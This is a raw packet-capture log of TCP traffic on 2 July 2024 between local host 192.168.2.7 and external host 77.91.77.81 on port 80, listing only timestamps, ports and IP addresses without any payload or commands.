Jul 2, 2024 12:21:11.396962881 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.397063971 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397074938 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397095919 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.397120953 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.397300005 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397330999 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.397352934 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397363901 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397373915 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397388935 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.397411108 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.397433996 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397463083 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.397495031 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397505045 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397525072 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.397542953 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.397589922 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397600889 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397610903 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397633076 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.397655010 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.397744894 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397775888 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.397809982 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397824049 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397844076 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.397860050 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.397917986 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397929907 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397939920 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397950888 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.397952080 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.397967100 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.397980928 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.398050070 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398061991 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398081064 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.398106098 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.398150921 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398161888 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398171902 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398183107 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398184061 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.398214102 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.398499012 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398518085 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398529053 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398533106 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.398547888 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.398564100 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.398647070 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398657084 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398668051 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398682117 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.398684025 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398705959 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.398734093 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.398808956 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398819923 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398830891 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398843050 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398844004 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.398854017 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.398869038 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.398890018 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.398998976 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.399009943 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.399019957 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.399032116 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.399034023 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.399065971 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.401794910 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.401835918 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.401905060 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.401915073 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.401926041 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.401941061 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.401967049 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.401987076 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.401997089 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.402008057 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.402017117 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.402018070 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.402038097 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.402061939 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.402162075 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.402173042 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.402182102 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.402193069 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.402196884 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.402201891 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.402221918 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.402235985 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.425214052 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.425225973 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.425237894 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.425261021 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.425273895 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.425285101 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.425286055 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.425326109 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.425421953 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.425436974 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.425450087 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.425455093 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.425460100 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.425471067 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.425472021 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.425487995 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.425506115 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.425544024 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.425554991 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.425575018 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.425597906 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.425618887 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.425636053 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.425646067 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.425654888 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.425664902 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.425679922 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.456047058 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.456074953 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.456094027 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.456104040 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.456115007 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.456115961 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.456127882 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.456147909 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.456176996 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.487849951 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.487869978 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.487888098 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.487899065 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.487910032 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.487920046 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.487931967 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.487952948 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.487988949 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.487999916 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.488001108 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.488012075 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.488018036 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.488044977 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.488140106 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.488152027 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.488162041 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.488173008 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.488183975 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.488189936 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.488204956 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.488223076 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.518790007 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.518821955 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.518832922 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.518843889 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.518846989 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.518871069 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.518878937 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.518899918 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.518915892 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.518924952 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.518925905 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.518939018 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.518953085 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.518961906 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.518969059 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.518995047 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519011021 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519042969 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519082069 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519093037 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519110918 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519112110 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519129038 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519148111 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519157887 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519167900 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519181967 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519186974 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519244909 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519247055 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519279957 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519292116 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519303083 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519345045 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519367933 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519383907 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519398928 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519401073 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519423008 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519438028 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519506931 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519516945 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519526958 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519535065 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519537926 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519547939 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519551992 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519582033 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519628048 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519663095 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519675970 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519686937 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519706964 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519722939 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519804001 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519814014 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519823074 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519834042 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519834042 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519850016 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519874096 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519936085 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519946098 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519956112 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519963980 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.519967079 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.519995928 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.520066977 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520076990 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520087004 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520096064 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.520097971 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520122051 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.520149946 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.520158052 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520188093 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.520256996 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520267963 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520277977 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520286083 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.520287991 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520298004 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520301104 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.520308971 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520318031 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.520344019 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.520577908 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520589113 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520597935 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520607948 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520613909 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.520617962 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520627975 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520632982 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.520637989 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520648003 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520648956 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.520658970 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520668030 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520678043 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520678997 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.520688057 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520699024 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.520706892 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.520725012 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.525258064 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525315046 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.525327921 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525338888 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525357008 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.525366068 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525373936 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.525374889 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525383949 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525396109 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.525418043 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.525494099 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525504112 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525513887 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525523901 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525533915 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525542974 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.525544882 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525561094 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.525580883 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.525639057 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525650024 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525671005 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525671959 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.525701046 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.525702000 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525738001 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.525741100 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525752068 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525770903 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.525787115 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.525865078 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525876045 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525885105 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525895119 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525904894 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.525904894 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525924921 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.525952101 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.525965929 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525976896 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525986910 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.525994062 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.526011944 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.526047945 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.526058912 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.526068926 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.526081085 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.526093006 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.526098967 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.526124954 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.546611071 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.546632051 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.546641111 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.546662092 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.546677113 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.546704054 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.546746969 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.546757936 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.546768904 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.546778917 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.546778917 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.546812057 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.578418970 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578430891 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578442097 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578495026 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578501940 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.578505993 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578517914 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578528881 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.578562975 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:11.578563929 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.578597069 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:11.578630924 CEST	80	49700	77.91.77.81	192.168.2.7
